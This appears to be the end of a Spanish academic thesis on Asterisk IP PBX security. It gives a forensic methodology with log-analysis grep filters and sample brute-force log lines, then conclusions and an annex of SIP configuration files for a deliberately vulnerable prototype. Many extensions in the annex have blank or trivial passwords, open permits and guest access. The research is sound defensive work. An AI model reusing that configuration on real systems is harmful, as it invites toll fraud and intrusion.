o &iquest;Desde cu&aacute;ndo est&aacute; funcionando la PBX IP?
o &iquest;Qui&eacute;n es el administrador de la PBX IP?, &iquest;qu&eacute; otras personas
tienen acceso a &eacute;ste?
o &iquest;El sistema tiene conexi&oacute;n a Internet?, &iquest;es necesaria?
o &iquest;A cu&aacute;ntos usuarios da servicio la plataforma de telefon&iacute;a?
o &iquest;Cu&aacute;l es el volumen de tr&aacute;fico telef&oacute;nico regular?, &iquest;cu&aacute;nto pagan
mensualmente por el uso de las troncales telef&oacute;nicas?
o &iquest;En qu&eacute; circunstancias se detect&oacute; el incidente?
Posterior a documentar la escena, el personal de emergencia debe asegurar la
evidencia de tal forma que su estado se modifique lo menos posible. Esta etapa
b&aacute;sicamente consiste en aislar al m&aacute;ximo los equipos involucrados en el
incidente, registrar la cadena de custodia y toda interacci&oacute;n existente con los
dispositivos, y recoger evidencia que de fe del estado en el que se encontraron
los dispositivos (mediante, fotos o videos). En el Anexo 3, se incluye una platilla
de formulario para la identificaci&oacute;n de la escena.
Una vez que estas etapas pasivas (documentaci&oacute;n y aseguramiento de la escena)
se hayan realizado, es necesario interactuar con los dispositivos para adquirir la
evidencia y luego analizarla. Para esto es necesario escoger adecuadamente las
herramientas a utilizar, especialmente para la adquisici&oacute;n de los datos. Ya que las
soluciones de telefon&iacute;a IP basadas en Asterisk se instalan normalmente en
servidores est&aacute;ndar, el proceso de adquisici&oacute;n de datos requerir&aacute; alguna
herramienta para obtener estos datos de un disco duro, o de la memoria RAM de
manera que no se modifique la informaci&oacute;n existente.
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Para obtener esta imagen del disco duro ser&aacute; necesario disponer de herramientas
especializadas como DCDD3 [60], Helix CD [61], Mount Manager [62], o FTK
Imager [63]. Para adquirir la informaci&oacute;n de memoria no vol&aacute;til como la RAM se
puede utilizar la herramienta Volatility [64].
Deber&iacute;a existir documentaci&oacute;n de estas herramientas al alcance y deber&iacute;a
probarse antes de utilizarla.
3.5.3 FASE DE RECOLECCI&Oacute;N DE INFORMACI&Oacute;N
La fase de recolecci&oacute;n de informaci&oacute;n es muy delicada pues si hay errores en
ella, la integridad de la evidencia puede ponerse en riesgo, lo que podr&iacute;a impedir
que sea utilizada en un proceso judicial.
La primera actividad en la fase de recolecci&oacute;n de informaci&oacute;n es la adquisici&oacute;n
f&iacute;sica de la evidencia. Esto se consigue mediante la obtenci&oacute;n de una imagen
exacta de los datos contenidos en los dispositivos. Esta imagen no es otra cosa
que una copia bit a bit de la informaci&oacute;n del disco duro y de la informaci&oacute;n de la
memoria RAM.
Una vez que las im&aacute;genes se han obtenido, es importante utilizar mecanismos de
verificaci&oacute;n de integridad, como algoritmos de hash.
Se recomienda realizar dos copias adicionales en base a la primera, para una
entregarse a la entidad judicial que lo solicite y otra para el an&aacute;lisis forense del
incidente dado en la PBX IP (trabajar directamente sobre los datos), la primera
sirve de respaldo al t&eacute;cnico forense en caso de desastre en los datos mientras se
ejecuta el proceso de investigaci&oacute;n. [65]
En cuanto al resto de dispositivos aparte de la PBX IP, como los gateways
telef&oacute;nicos o los tel&eacute;fonos, el proceso de adquisici&oacute;n de datos bit a bit podr&iacute;a ser
m&aacute;s complicado pues usualmente no poseen unidades de almacenamiento
extra&iacute;ble. Sin embargo, es recomendable obtener la informaci&oacute;n de la
configuraci&oacute;n que ayudar&aacute; a dirigir la investigaci&oacute;n aunque &eacute;sta podr&iacute;a no ser
usada en un proceso judicial.
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3.5.4 FASE DE AN&Aacute;LISIS DE EVIDENCIA
El an&aacute;lisis de la evidencia digital es el n&uacute;cleo de la investigaci&oacute;n forense. Esta
etapa debe permitir determinar qu&eacute; o qui&eacute;n caus&oacute; el incidente y c&oacute;mo lo hizo.
Para esto se identifican los datos tanto f&iacute;sico como l&oacute;gicos para construir una
l&iacute;nea en el tiempo que permita correlacionar todos los hechos y obtener la mayor
cantidad de detalles del incidente ocurrido.
El an&aacute;lisis de evidencia digital en servidores de telefon&iacute;a IP basados en Asterisk,
se concentra en el an&aacute;lisis de los logs (archivos de registro) que almacenan la
informaci&oacute;n de todos los procesos que realiza el sistema de telefon&iacute;a.
Los archivos de log de la plataforma Asterisk se concentran en el directorio
/var/log/asterisk, y ah&iacute; dentro los archivos que m&aacute;s informaci&oacute;n contendr&aacute;n ser&aacute;n:
&middot;
full: guarda todos los eventos del sistema de telefon&iacute;a IP (registro de
terminales, llamadas telef&oacute;nicas, intentos fallidos de autenticaci&oacute;n, etc.).
&middot;
cdr: guarda los registros detallados de llamadas con informaci&oacute;n del origen,
destino, troncal utilizada, duraci&oacute;n, de todas las llamadas realizadas.
Tambi&eacute;n puede ser &uacute;til analizar archivos de log m&aacute;s gen&eacute;ricos como los que se
encuentran en el directorio /var/log:
&middot;
messages: que almacena, en general, los logs del sistema operativo.
&middot;
secure: que guarda informaci&oacute;n de los eventos relacionados con intentos
de autenticaci&oacute;n fallidos especialmente en el servicio de administraci&oacute;n
remota (SSH).
Aunque la informaci&oacute;n recolectada de los otros dispositivos puede ayudar en algo
en el an&aacute;lisis forense, no hay duda de que &eacute;ste se concentrar&aacute; casi siempre en el
an&aacute;lisis de los eventos registrados por la central telef&oacute;nica basada en Asterisk, en
los archivos antes descritos. Para poder comprender los mensajes que puedan
ofrecer estos archivos de log es fundamental haberse familiarizado con la
plataforma telef&oacute;nica, es decir, las direcciones IP de los dispositivos asociados,
sus funciones, etc. Adem&aacute;s, ser&aacute; necesario recolectar informaci&oacute;n sobre los
siguientes &iacute;tems:
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&middot;
Listado de extensiones de la PBX IP.
&middot;
Tipo y n&uacute;mero de troncales que usa para la conexi&oacute;n con la PSTN o la red
m&oacute;vil.
Ya que la informaci&oacute;n que almacenan estos archivos llega a ser abundante
especialmente cuando se conecta el sistema de telefon&iacute;a directamente a Internet,
es importante el uso de m&eacute;todos apropiados para el filtrado de la informaci&oacute;n. En
ese sentido Linux ofrece una gran variedad de herramientas. Adem&aacute;s, es
fundamental determinar la base de tiempo de los logs ya que la hora del servidor
podr&iacute;a ser incorrecta y por ello todos los logs se generar&aacute;n con marcas de tiempo
que reflejan ese error.
3.5.4.1 An&aacute;lisis de los registros de detalles de llamadas (CDR)
Los registros de las llamadas (internas, entrantes, salientes) realizadas a trav&eacute;s
de la PBX IP se conocen como CDRs y se almacenan en el directorio
/var/log/asterisk/cdr en el archivo Master.csv. Esta informaci&oacute;n generalmente es
utilizada para el c&aacute;lculo de la facturaci&oacute;n del consumo telef&oacute;nico y en el proceso
de an&aacute;lisis forense revelar&aacute; los destinos de las llamadas que se realizaron. Al
determinar los destinos de las llamadas en un fraude, por ejemplo, se podr&iacute;a tener
una idea del tipo de atacante que afect&oacute; al sistema.
Una llamada realizada se contiene en una sola l&iacute;nea (ver C&oacute;digo 3.1), que
contiene varios par&aacute;metros separados por comas (,).
,&quot;118&quot;,&quot;99041215083543&quot;,&quot;from-internal&quot;,&quot;&quot;&quot;118&quot;&quot;
&lt;118&gt;&quot;,&quot;SIP/118-0000003a&quot;,&quot;DAHDI/1-1&quot;,
&quot;Dial&quot;,&quot;DAHDI/g0/99041215083543,300,&quot;,&quot;2015-12-29 20:33:45&quot;,
&quot;2015-12-29 20:33:51&quot;,&quot;2015-12-29 20:34:11&quot;,26,20,
&quot;ANSWERED&quot;,&quot;DOCUMENTATION&quot;,&quot;1451421225.67&quot;,&quot;&quot;
C&oacute;digo 3.1 Registro de una llamada en formato csv
En el C&oacute;digo 3.1 se puede observar el registro generado en el CDR que indica
que se est&aacute; realizando una llamada a trav&eacute;s de la interfaz anal&oacute;gica DAHDI por el
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puerto 0 hacia el n&uacute;mero 99041215083543. Se registra adem&aacute;s la fecha y otros
par&aacute;metros como la duraci&oacute;n de la llamada.
En el C&oacute;digo 3.2 se observan todos los campos el archivo Master.csv contiene.
De ellos seguramente los m&aacute;s &uacute;tiles en un an&aacute;lisis forense ser&aacute;n: n&uacute;mero destino
(dst), identificador de llamada (clid), duraci&oacute;n (duration), y estado de la llamada
(disposition).
,&quot;accountcode&quot;,&quot;src&quot;,&quot;context&quot;,&quot;&quot;&quot;dst&quot;&quot; &quot;,&quot;dcontext&quot;,
&quot;clid&quot;,&quot;start&quot;,&quot;answer&quot;,&quot;end&quot;,duration,billsec,dispositiion&quot;,
C&oacute;digo 3.2 Par&aacute;metros contenidos en los cdrs
# cat Master.csv | grep DAHDI |grep ANSWERED
C&oacute;digo 3.3 Filtro para archivos cdr
En el C&oacute;digo 3.3 se muestra un comando que se podr&iacute;a ejecutar en Linux para
filtrar los registros de los CDRs para obtener solamente las llamadas que han
salido a trav&eacute;s de la interfaz DAHDI y que han sido contestados (ANSWERED).
Se podr&iacute;a aplicar otro filtro, por ejemplo, para obtener solamente las llamadas
realizadas en ciertas fechas.
Tal como se puede observar, este archivo no muestra informaci&oacute;n m&aacute;s detallada
sobre el origen de las llamadas (por ejemplo la direcci&oacute;n IP del dispositivo que la
gener&oacute;). Para obtener m&aacute;s informaci&oacute;n al respecto se puede consultar el archivo
full dentro del directorio /var/log/asterisk.
3.5.4.2 An&aacute;lisis de archivo de log full
Los archivos full registran en texto plano todos los eventos que se relacionan con
el sistema de telefon&iacute;a IP en Asterisk. En esa informaci&oacute;n se puede obtener datos
de los intentos de registros de extensiones, por ejemplo, de los intentos fallidos, y
de los exitosos. Ventajosamente, en estos registros se incluye informaci&oacute;n sobre
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las direcciones de los dispositivos que han interactuado con la central telef&oacute;nica,
como se observa en el C&oacute;digo 3.4.
En base a esta informaci&oacute;n se podr&iacute;a incluso construir todo un proceso de
auditor&iacute;a que permita correlacionar estas interacciones con posteriores intentos
de fraude a trav&eacute;s del uso de los recursos telef&oacute;nicos de manera no autorizada.
Intento de registro fallido para una extensi&oacute;n v&aacute;lida
'&quot;105&quot; &lt;sip:[email protected]:5060&gt;' failed for
'195.154.XX.XX' - Wrong password
Intento de registro fallido para una extensi&oacute;n no v&aacute;lida
[2015-12-29 16:38:04] NOTICE[2826] chan_sip.c: Registration
from '&quot;911&quot; &lt;sip:[email protected]:5060&gt;' failed for
'195.154.XX.XX' - No matching peer found
C&oacute;digo 3.4 Intentos de registro de extensiones en la PBX IP
En el C&oacute;digo 3.5, se muestran algunos filtros que podr&iacute;an aplicarse para buscar
en el archivo full algo de la informaci&oacute;n descrita previamente.
#cat full | grep “Registered SIP”
Filtro que muestra los eventos provocados por el registro
de terminales en la central telef&oacute;nica
#cat full | grep “Wrong password”
Filtro que muestra los intentos de registro fallidos por
contrase&ntilde;a incorrecta
#cat full | grep “No matching peer found”
Filtro que muestra los intentos de registro fallidos por
uso de una extensi&oacute;n no existente
C&oacute;digo 3.5 Filtro para archivo de log full
3.5.4.3 An&aacute;lisis de archivo de log secure
El archivo de logs secure ubicado en el directorio /var/log guarda informaci&oacute;n
sobre los procesos de autenticaci&oacute;n realizados sobre el sistema operativo (en
este caso Linux), especialmente a trav&eacute;s del servicio SSH, como se indica en el
C&oacute;digo 3.6.
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Intento fallido de login debido a contrase&ntilde;a incorrecta de
usuario root
Dec 30 09:43:51 localhost sshd[22639]: Failed password for
root from 91.194.56.74 port 48322 ssh2
Intento
usuario
Dec 30
invalid
fallido de login debido a contrase&ntilde;a incorrecta de
no existente
08:58:56 localhost sshd[21240]: Failed password for
user ventrilo from 91.194.56.74 port 34484 ssh2
C&oacute;digo 3.6 Intentos de login para servicio SSH en la PBX IP
En el C&oacute;digo 3.7, se muestran algunos filtros que podr&iacute;an ayudar a determinar los
eventos en los que un usuario externo pudo conectarse remotamente al servidor.
#cat secure |grep “Accepted Password”
Filtro que muestra conexiones de acceso remoto exitosas
#cat secure |grep “Failed password for root”
Filtro que muestra los intentos fallidos de login debido a
contrase&ntilde;a incorrecta de root
#cat full |grep “Failed password for invalid user”
Filtro que muestra los intentos fallidos de login debido a
autenticaci&oacute;n con usuarios no existentes
C&oacute;digo 3.7 Filtro para archivo de log secure
Ya que muchas de las implementaciones de sistemas de telefon&iacute;a IP basadas en
Asterisk est&aacute;n instaladas con Elastix, que ofrece una interfaz web de
administraci&oacute;n, podr&iacute;a ser &uacute;til tambi&eacute;n analizar los logs generados en el archivo
ssl_access_log que registra los intentos de conexi&oacute;n al servicio web.
Parte importante del an&aacute;lisis de la evidencia es la generaci&oacute;n de la l&iacute;nea de
tiempo del incidente. Obviamente, esta l&iacute;nea de tiempo se construye en base a las
marcas de tiempo de los logs y de la informaci&oacute;n obtenida de otras fuentes
(proveedores de servicio de telefon&iacute;a fija, por ejemplo). Sin embargo,
particularmente en el caso de las plataformas de telefon&iacute;a IP, es &uacute;til tener en
cuenta la cronolog&iacute;a de un ataque que suele iniciar con una etapa de
enumeraci&oacute;n, para continuar con ataques de fuerza bruta, y finalmente de
explotaci&oacute;n y fraude.
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3.5.5 REPORTE
El reporte es uno o varios documentos que registran todas las actividades
realizadas como parte del proceso de an&aacute;lisis forense. Tambi&eacute;n detalla los
descubrimientos realizados a partir de la informaci&oacute;n cruda que se ha procesado.
Puede incluir conjeturas o conclusiones que traten de dar una idea del origen e
impacto del incidente. Finalmente puede incluir tambi&eacute;n una serie de
recomendaciones que ayuden a la v&iacute;ctima a protegerse frente a futuros ataques.
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4 CONCLUSIONES Y RECOMENDACIONES
4.1 CONCLUSIONES
&middot;
En Ecuador, la telefon&iacute;a IP es una tecnolog&iacute;a cuya adopci&oacute;n est&aacute; en
crecimiento. Aunque actualmente en menor medida, los &uacute;ltimos 6 a&ntilde;os se
ha venido adquiriendo significativamente en el sector p&uacute;blico, y
seguramente en el sector privado desde hace tiempo.
&middot;
Se
encontraron
p&uacute;blicamente
disponibles
una
gran
cantidad
de
implementaciones de telefon&iacute;a IP en el espacio de direccionamiento
ecuatoriano mediante el proceso de escaneo que entregan informaci&oacute;n
como tipo y versi&oacute;n de plataforma de telefon&iacute;a utilizada que le puede servir
a un atacante, para vulnerar el sistema. Adem&aacute;s, las aplicaciones
derivadas de Asterisk que se encontraron en el pa&iacute;s tendr&iacute;an en general
versiones desactualizadas y por lo tanto vulnerables.
&middot;
La soluci&oacute;n m&aacute;s utilizada entre los sistemas de telefon&iacute;a mediante las
pruebas realizadas es FreePBX/Elastix, seguramente porque se trata de un
software libre con una interfaz gr&aacute;fica de gesti&oacute;n relativamente f&aacute;cil de
configurar y una interacci&oacute;n m&aacute;s amigable con el usuario, as&iacute; como el
ahorro de costos. Por este motivo la popularidad de FreePBX/Elastix en los
sistemas conectados directamente a Internet coincide en otros pa&iacute;ses.
&middot;
El servicio de telefon&iacute;a IP se comprob&oacute; que es igualmente vulnerable que
otros servicios de red a actividades de fingerprinting, enumeraci&oacute;n, ataques
de fuerza bruta, de denegaci&oacute;n de servicio y a exploits que en muchos de
los casos permiten fuga de informaci&oacute;n e incluso el acceso remoto de un
atacante y por ende consecuencias graves para el correcto funcionamiento
del servicio de telefon&iacute;a IP.
&middot;
Se demostr&oacute; que un entorno con configuraciones inadecuadas o d&eacute;biles es
propicio para el cometimiento de actividades de fraude en el servicio
telef&oacute;nico. El perjuicio econ&oacute;mico generado por ataques a sistemas de
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telefon&iacute;a podr&iacute;a ser cuantioso ya que estos sistemas est&aacute;n conectados a
recursos que tienen costo y que podr&iacute;an ser usados por atacantes para
obtener un beneficio econ&oacute;mico.
&middot;
Existen diferentes mecanismos para protecci&oacute;n ante ataques a los
servicios de telefon&iacute;a, su implementaci&oacute;n requiere conocimiento y trabajo
de parte de los administradores. Lamentablemente, no se tiene seguridad
de que todos los administradores de los sistemas de telefon&iacute;a encontrados
en el escaneo realizado en este proyecto tengan una adecuada formaci&oacute;n
para poner en marcha los mecanismos de seguridad necesarios.
&middot;
El an&aacute;lisis de vulnerabilidades realizado pone de manifiesto que la mayor
parte de riesgos de los sistemas de telefon&iacute;a IP basados en Asterisk est&aacute;
relacionado con configuraciones deficientes y falta de actualizaci&oacute;n del
software de los sistemas.
&middot;
Mientras m&aacute;s aplicaciones de red est&aacute;n funcionando, m&aacute;s riesgos corren
en un sistema de telefon&iacute;a frente ataques. M&aacute;s servicios significan m&aacute;s
trabajo de mantenimiento y una mayor probabilidad de cometer errores en
la configuraci&oacute;n o en el proceso de actualizaci&oacute;n de software.
&middot;
Las soluciones de telefon&iacute;a IP son muy codiciadas por los atacantes en
Internet ya que apenas se conect&oacute; la PBX IP vulnerable p&uacute;blica, &eacute;sta
empez&oacute; a recibir una gran cantidad de ataques, que evidencian la
necesidad de establecer configuraciones de seguridad eficientes para la
puesta en marcha de este tipo de sistemas.
&middot;
El an&aacute;lisis de la evidencia digital obtenida en un incidente de fraude
telef&oacute;nico es un proceso complejo basado en una metodolog&iacute;a que podr&iacute;a
garantizar que esta evidencia pueda ser v&aacute;lida en un proceso judicial. Para
ello es importante conocer las particularidades de los escenarios que
conforman los sistemas de telefon&iacute;a IP como los equipos que lo conforman,
la informaci&oacute;n que manejan, la ubicaci&oacute;n de los registros de eventos, entre
otros.
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4.2 RECOMENDACIONES
&middot;
Ser&iacute;a recomendable la generaci&oacute;n de un censo tecnol&oacute;gico en las
instituciones del Ecuador que permita obtener informaci&oacute;n especialmente
de los plataformas que se utilizan para ofrecer los servicios de red que
est&aacute;n disponibles para su acceso en Internet. Con esa informaci&oacute;n se
podr&iacute;a hacer un an&aacute;lisis m&aacute;s profundo del riesgo de estos sistemas
(incluidos los de telefon&iacute;a IP) en funci&oacute;n del software sobre el cual
funcionan.
&middot;
Ser&iacute;a ideal promover un poco de consciencia sobre la implementaci&oacute;n de
servicios de red, especialmente los relacionados con telefon&iacute;a IP, de
manera segura, con el fin de que se reduzcan las implementaciones
“caseras” que ponen en riesgo los recursos de toda la organizaci&oacute;n.
&middot;
Cuando sea posible, ser&iacute;a recomendable que la implementaci&oacute;n de un
sistema de telefon&iacute;a IP se realice por personal especializado que ofrezca
una garant&iacute;a sobre su trabajo en caso de que un incidente de seguridad se
produzca.
&middot;
En un trabajo futuro se podr&iacute;a extender el an&aacute;lisis exploratorio realizado a
otros servicios en la red, como el web o correo electr&oacute;nico que son a&uacute;n
m&aacute;s populares que el de telefon&iacute;a IP.
&middot;
El an&aacute;lisis de vulnerabilidades sobre los prototipos controlados podr&iacute;a
incorporar tambi&eacute;n a otras versiones de las aplicaciones basadas en
Asterisk, con el fin de conocer los pormenores de dichas vulnerabilidades.
&middot;
El prototipo de telefon&iacute;a IP vulnerable podr&iacute;a considerar tambi&eacute;n recursos
de conexi&oacute;n adicionales hacia otras redes de comunicaciones para poder
analizar con m&aacute;s detalle los destinos que usan los atacantes para cometer
fraude.
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ANEXOS
ANEXO 1
Configuraci&oacute;n de archivos sip.conf para m&aacute;quinas virtuales en el Prototipo
Local.
PBX IP 1
Archivo sip.conf
[100]
deny=0.0.0.0/0.0.0.0
secret=100
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/100
accountcode=
mailbox=100@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;100&gt;
call-limit=50
faxdetect=no
[101]
deny=0.0.0.0/0.0.0.0
secret=101
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/101
accountcode=
mailbox=101@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;101&gt;
call-limit=50
faxdetect=no
[102]
deny=0.0.0.0/0.0.0.0
secret=102
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/102
accountcode=
mailbox=102@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;102&gt;
call-limit=50
faxdetect=no
[103]
deny=0.0.0.0/0.0.0.0
secret=103
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/103
accountcode=
mailbox=103@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;103&gt;
call-limit=50
faxdetect=no
[104]
deny=0.0.0.0/0.0.0.0
secret=104
dtmfmode=rfc2833
100
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/104
accountcode=
mailbox=104@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;104&gt;
call-limit=50
faxdetect=no
[105]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/105
accountcode=
mailbox=105@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;105&gt;
call-limit=50
faxdetect=no
[106]
deny=0.0.0.0/0.0.0.0
secret=cientoseis
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/106
accountcode=
mailbox=106@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;106&gt;
call-limit=50
faxdetect=no
[107]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/107
accountcode=
mailbox=107@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;107&gt;
call-limit=50
faxdetect=no
[108]
deny=0.0.0.0/0.0.0.0
secret=cientoocho
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/108
accountcode=
mailbox=108@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;108&gt;
call-limit=50
faxdetect=no
[109]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/109
accountcode=
mailbox=109@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;109&gt;
call-limit=50
101
faxdetect=no
[110]
deny=0.0.0.0/0.0.0.0
secret=ciento10
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/110
accountcode=
mailbox=110@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;110&gt;
call-limit=50
faxdetect=no
[111]
deny=0.0.0.0/0.0.0.0
secret=111
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/111
accountcode=
mailbox=111@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;111&gt;
call-limit=50
faxdetect=no
[112]
deny=0.0.0.0/0.0.0.0
secret=112
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/112
accountcode=
mailbox=112@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;112&gt;
call-limit=50
faxdetect=no
[113]
deny=0.0.0.0/0.0.0.0
secret=113
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/113
accountcode=
mailbox=113@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;113&gt;
call-limit=50
faxdetect=no
[114]
deny=0.0.0.0/0.0.0.0
secret=114
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/114
accountcode=
mailbox=114@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;114&gt;
call-limit=50
faxdetect=no
[115]
deny=0.0.0.0/0.0.0.0
secret=115
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
102
dial=SIP/115
accountcode=
mailbox=115@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;115&gt;
call-limit=50
faxdetect=no
[116]
deny=0.0.0.0/0.0.0.0
secret=116
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/116
accountcode=
mailbox=116@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;116&gt;
call-limit=50
faxdetect=no
[117]
deny=0.0.0.0/0.0.0.0
secret=117
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/117
accountcode=
mailbox=117@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;117&gt;
call-limit=50
faxdetect=no
[118]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/118
accountcode=
mailbox=118@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;118&gt;
call-limit=50
faxdetect=no
[119]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/119
accountcode=
mailbox=119@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;119&gt;
call-limit=50
faxdetect=no
[120]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/120
accountcode=
mailbox=120@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;120&gt;
call-limit=50
faxdetect=no
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[212]
deny=0.0.0.0/0.0.0.0
secret=212
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/212
mailbox=212@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;212&gt;
callcounter=yes
faxdetect=no
[213]
deny=0.0.0.0/0.0.0.0
secret=213
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/213
mailbox=213@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;213&gt;
callcounter=yes
faxdetect=no
[214]
deny=0.0.0.0/0.0.0.0
secret=214
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/214
mailbox=214@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;214&gt;
callcounter=yes
faxdetect=no
[215]
deny=0.0.0.0/0.0.0.0
secret=215
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/215
mailbox=215@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;215&gt;
callcounter=yes
faxdetect=no
[216]
deny=0.0.0.0/0.0.0.0
secret=216
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/216
mailbox=216@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;216&gt;
callcounter=yes
faxdetect=no
[217]
deny=0.0.0.0/0.0.0.0
secret=217
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
104
qualify=yes
callgroup=
pickupgroup=
dial=SIP/217
mailbox=217@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;217&gt;
callcounter=yes
faxdetect=no
[218]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/218
mailbox=218@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;218&gt;
callcounter=yes
faxdetect=no
[219]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/219
mailbox=219@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;219&gt;
callcounter=yes
faxdetect=no
[220]
deny=0.0.0.0/0.0.0.0
secret=
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/220
mailbox=220@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;220&gt;
callcounter=yes
faxdetect=no
[221]
deny=0.0.0.0/0.0.0.0
secret=221uno
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/221
mailbox=221@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;221&gt;
callcounter=yes
faxdetect=no
[222]
deny=0.0.0.0/0.0.0.0
secret=vientidos
dtmfmode=rfc2833
canreinvite=no
context=from-internal
host=dynamic
type=friend
nat=yes
port=5060
qualify=yes
callgroup=
pickupgroup=
dial=SIP/222
mailbox=222@device
permit=0.0.0.0/0.0.0.0
callerid=device &lt;222&gt;
callcounter=yes
faxdetect=no
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[general]
canreinvite=no
srvlookup=yes
bindport=5060
bindaddr=0.0.0.0
context=default
allowguest=yes
udpbindaddr=0.0.0.0
nat=yes
localnet=172.31.38.0/255.255.254.0
dtmfmode=auto
disallow=all
allow=ulaw
allow=alaw
